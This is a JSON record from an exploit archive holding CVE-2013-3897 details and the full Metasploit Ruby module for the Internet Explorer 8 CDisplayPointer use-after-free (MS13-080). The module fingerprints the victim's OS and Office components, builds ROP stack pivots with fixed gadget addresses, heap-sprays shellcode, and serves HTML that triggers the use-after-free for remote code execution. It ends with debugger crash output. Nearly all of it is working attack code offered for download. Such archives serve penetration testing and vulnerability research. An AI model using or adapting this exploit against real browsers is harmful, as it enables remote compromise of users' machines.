{"exploit":{"id":"EDB-28974","name":"Microsoft Internet Explorer 8 - CDisplayPointer Use-After-Free (UAF) (MS13-080) (Metasploit)","description":"Microsoft Internet Explorer 8 - CDisplayPointer Use-After-Free (UAF) (MS13-080) (Metasploit)","cves":["CVE-2013-3897"],"author":"Metasploit","published":"2013-10-15","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28974","path":"exploits/windows/remote/28974.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28974.rb","vulnerabilities":[{"id":"CVE-2013-3897","state":"PUBLISHED","title":null,"titleSource":null,"description":"Use-after-free vulnerability in the CDisplayPointer class in mshtml.dll in Microsoft Internet Explorer 6 through 11 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via crafted JavaScript code that uses the onpropertychange event handler, as exploited in the wild in September and October 2013, aka \"Internet Explorer Memory Corruption Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-3897","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2013-3897"},"updatedAt":"2025-10-22T00:05:40.468Z","retrievedAt":"2026-11-26T16:09:45.191Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28974.png?v=2","url":"https://exploitbin.com/exploits/EDB-28974","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28974/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28974/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n#   http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n  include Msf::Exploit::RopDb\n  include Msf::Exploit::Remote::BrowserAutopwn\n\n  autopwn_info({\n    :ua_name    => HttpClients::IE,\n    :ua_minver  => \"8.0\",\n    :ua_maxver  => \"8.0\",\n    :javascript => true,\n    :os_name    => OperatingSystems::WINDOWS,\n    :rank       => NormalRanking\n  })\n\n  def initialize(info={})\n    super(update_info(info,\n      'Name'           => \"MS13-080 Microsoft Internet Explorer CDisplayPointer Use-After-Free\",\n      'Description'    => %q{\n        This module exploits a vulnerability found in Microsoft Internet Explorer. It was originally\n        found being exploited in the wild targeting Japanese and Korean IE8 users on Windows XP,\n        around the same time frame as CVE-2013-3893, except this was kept out of the public eye by\n        multiple research companies and the vendor until the October patch release.\n\n        This issue is a use-after-free vulnerability in CDisplayPointer via the use of a\n        \"onpropertychange\" event handler. To set up the appropriate buggy conditions, we first craft\n        the DOM tree in a specific order, where a CBlockElement comes after the CTextArea element.\n        If we use a select() function for the CTextArea element, two important things will happen:\n        a CDisplayPointer object will be created for CTextArea, and it will also trigger another\n        event called \"onselect\". The \"onselect\" event will allow us to set up for the actual event\n        handler we want to abuse - the \"onpropertychange\" event. Since the CBlockElement is a child\n        of CTextArea, if we do a node swap of CBlockElement in \"onselect\", this will trigger\n        \"onpropertychange\".  During \"onpropertychange\" event handling, a free of the CDisplayPointer\n        object can be forced by using an \"Unslect\" (other approaches also apply), but a reference\n        of this freed memory will still be kept by CDoc::ScrollPointerIntoView, specifically after\n        the CDoc::GetLineInfo call, because it is still trying to use that to update\n        CDisplayPointer's position. When this invalid reference arrives in QIClassID, a crash\n        finally occurs due to accessing the freed memory. By controlling this freed memory, it is\n        possible to achieve arbitrary code execution under the context of the user.\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          'Unknown', # Exploit in the wild\n          'sinn3r'   # Metasploit\n        ],\n      'References'     =>\n        [\n          [ 'CVE', '2013-3897' ],\n          [ 'OSVDB', '98207' ],\n          [ 'MSB', 'MS13-080' ],\n          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/10/08/ms13-080-addresses-two-vulnerabilities-under-limited-targeted-attacks.aspx' ],\n          [ 'URL', 'http://jsunpack.jeek.org/?report=847afb154a4e876d61f93404842d9a1b93a774fb' ]\n        ],\n      'Platform'       => 'win',\n      'Targets'        =>\n        [\n          [ 'Automatic', {} ],\n          [ 'IE 8 on Windows XP SP3', {} ],\n          [ 'IE 8 on Windows 7',      {} ]\n        ],\n      'Payload'        =>\n        {\n          'BadChars'       => \"\\x00\",\n          'PrependEncoder' => \"\\x81\\xc4\\x0c\\xfe\\xff\\xff\" # add esp, -500\n        },\n      'DefaultOptions'  =>\n        {\n          'InitialAutoRunScript' => 'migrate -f'\n        },\n      'Privileged'     => false,\n      # Jsunpack first received a sample to analyze on Sep 12 2013.\n      # MSFT patched this on Oct 8th.\n      'DisclosureDate' => \"Oct 08 2013\",\n      'DefaultTarget'  => 0))\n  end\n\n  def get_check_html\n    %Q|<html>\n<script>\n#{js_os_detect}\n\nfunction os() {\n  var detect = window.os_detect.getVersion();\n  var os_string = detect.os_name + \" \" + detect.os_flavor + \" \" + detect.ua_name + \" \" + detect.ua_version;\n  return os_string;\n}\n\nfunction dll() {\n  var checka = 0;\n  var checkb = 0;\n  try {\n    checka = new ActiveXObject(\"SharePoint.OpenDocuments.4\");\n  } catch (e) {}\n\n  try {\n    checkb = new ActiveXObject(\"SharePoint.OpenDocuments.3\");\n  } catch (e) {}\n\n  if ((typeof checka) == \"object\" && (typeof checkb) == \"object\") {\n    try{location.href='ms-help://'} catch(e){}\n    return \"#{@js_office_2010_str}\";\n  }\n  else if ((typeof checka) == \"number\" && (typeof checkb) == \"object\") {\n    try{location.href='ms-help://'} catch(e){}\n    return \"#{@js_office_2007_str}\";\n  }\n  return \"#{@js_default_str}\";\n}\n\nwindow.onload = function() {\n  window.location = \"#{get_resource}/search?o=\" + escape(os()) + \"&d=\" + dll();\n}\n</script>\n</html>\n    |\n  end\n\n  def junk\n    rand_text_alpha(4).unpack(\"V\")[0].to_i\n  end\n\n  def get_payload(target_info)\n    rop_payload = ''\n    os          = target_info[:os]\n    dll_used    = ''\n\n    case target_info[:dll]\n    when @js_office_2007_str\n      dll_used = \"Office 2007\"\n\n      pivot =\n      [\n        0x51c2213f, # xchg eax,esp # popad # add byte ptr [eax],al # retn 4\n        junk,       # ESI due to POPAD\n        junk,       # EBP due to POPAD\n        junk,\n        junk,       # EBX due to POPAD\n        junk,       # EDX due to POPAD\n        junk,       # ECX due to POPAD\n        0x51c5d0a7, # EAX due to POPAD (must be writable for the add instruction)\n        0x51bd81db, # ROP NOP\n        junk        # Padding for the retn 4 from the stack pivot\n      ].pack(\"V*\")\n\n      rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2007', 'pivot'=>pivot})\n\n    when @js_office_2010_str\n      dll_used = \"Office 2010\"\n\n      pivot =\n      [\n        0x51c00e64, # xchg eax, esp; add eax, [eax]; add esp, 10; mov eax,esi; pop esi; pop ebp; retn 4\n        junk,\n        junk,\n        junk,\n        junk,\n        junk,\n        0x51BE7E9A, # ROP NOP\n        junk        # Padding for the retn 4 from the stack pivot\n      ].pack(\"V*\")\n\n      rop_payload = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>pivot})\n\n    when @js_default_str\n      if target_info[:os] =~ /windows xp/i\n        # XP uses msvcrt.dll\n        dll_used = \"msvcrt\"\n\n        pivot =\n        [\n          0x77C3868A # xchg eax,esp; rcr [ebx-75], 0c1h; pop ebp; ret\n        ].pack(\"V*\")\n\n        rop_payload = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp', 'pivot'=>pivot})\n      else\n        # Assuming this is Win 7, and we'll use Java 6 ROP\n        dll_used = \"Java\"\n\n        pivot =\n        [\n          0x7c342643, # xchg eax,esp # pop edi # add byte ptr [eax],al # pop ecx # retn\n          junk        # Padding for the POP ECX\n        ].pack(\"V*\")\n\n        rop_payload = generate_rop_payload('java', payload.encoded, {'pivot'=>pivot})\n      end\n    end\n\n    print_status(\"Target uses #{os} with #{dll_used} DLL\")\n\n    rop_payload\n  end\n\n  def get_sploit_html(target_info)\n    os         = target_info[:os]\n    js_payload = ''\n\n    if os =~ /Windows (7|XP) MSIE 8\\.0/\n      js_payload = Rex::Text.to_unescape(get_payload(target_info))\n    else\n      print_error(\"Target not supported by this attack.\")\n      return \"\"\n    end\n\n    %Q|<html>\n<head>\n<script>\n#{js_property_spray}\nsprayHeap({shellcode:unescape(\"#{js_payload}\")});\n\nvar earth = document;\nvar data = \"\";\nfor (i=0; i<17; i++) {\n  if (i==7) { data += unescape(\"%u2020%u2030\"); }\n  else      { data += \"\\\\u4141\\\\u4141\"; }\n}\ndata += \"\\\\u4141\";\n\nfunction butterfly() {\n  for(i=0; i<20; i++) {\n    var effect = earth.createElement(\"div\");\n    effect.className = data;\n  }\n}\n\nfunction kaiju() {\n  var godzilla = earth.createElement(\"textarea\");\n  var minilla = earth.createElement(\"pre\");\n  earth.body.appendChild(godzilla);\n  earth.body.appendChild(minilla);\n  godzilla.appendChild(minilla);\n\n  godzilla.onselect=function(e) {\n    minilla.swapNode(earth.createElement(\"div\"));\n  }\n\n  var battleStation = false;\n  var war = new Array();\n  godzilla.onpropertychange=function(e) {\n    if (battleStation == true) {\n      for (i=0; i<50; i++) {\n        war.push(earth.createElement(\"span\"));\n      }\n    }\n\n    earth.execCommand(\"Unselect\");\n\n    if (battleStation == true) {\n      for (i=0; i < war.length; i++) {\n        war[i].className = data;\n      }\n    }\n    else {\n      battleStation = true;\n    }\n  }\n\n  butterfly();\n  godzilla.select();\n}\n</script>\n</head>\n<body onload='kaiju()'>\n</body>\n</html>\n    |\n  end\n\n\n  def on_request_uri(cli, request)\n    if request.uri =~ /search\\?o=(.+)\\&d=(.+)$/\n      target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }\n      sploit = get_sploit_html(target_info)\n      send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})\n      return\n    end\n\n    html = get_check_html\n    print_status(\"Checking out target...\")\n    send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})\n  end\n\n  def exploit\n    @js_office_2007_str = Rex::Text.rand_text_alpha(4)\n    @js_office_2010_str = Rex::Text.rand_text_alpha(5)\n    @js_default_str     = Rex::Text.rand_text_alpha(6)\n    super\n  end\n\nend\n\n\n=begin\n\n+hpa this for debugging or you might not see a crash at all :-)\n\n0:005> r\neax=d6091326 ebx=0777efd4 ecx=00000578 edx=000000c8 esi=043bbfd0 edi=043bbf9c\neip=6d6dc123 esp=043bbf7c ebp=043bbfa0 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246\nmshtml!QIClassID+0x30:\n6d6dc123 8b03            mov     eax,dword ptr [ebx]  ds:0023:0777efd4=????????\n0:005> u\nmshtml!QIClassID+0x30:\n6d6dc123 8b03            mov     eax,dword ptr [ebx]\n6d6dc125 8365e800        and     dword ptr [ebp-18h],0\n6d6dc129 8d4de8          lea     ecx,[ebp-18h]\n6d6dc12c 51              push    ecx\n6d6dc12d 6870c16d6d      push    offset mshtml!IID_IProxyManager (6d6dc170)\n6d6dc132 53              push    ebx\n6d6dc133 bf02400080      mov     edi,80004002h\n6d6dc138 ff10            call    dword ptr [eax]\n\n=end","sha256":"e73921ce7cea3b54a0abde8d5b2ead588c91d31af652a36f10b84d0f8772d797","bytes":10145,"fetchedAt":"2026-11-26T16:09:45.083Z","encoding":"utf-8 (display only; download retains original bytes)"}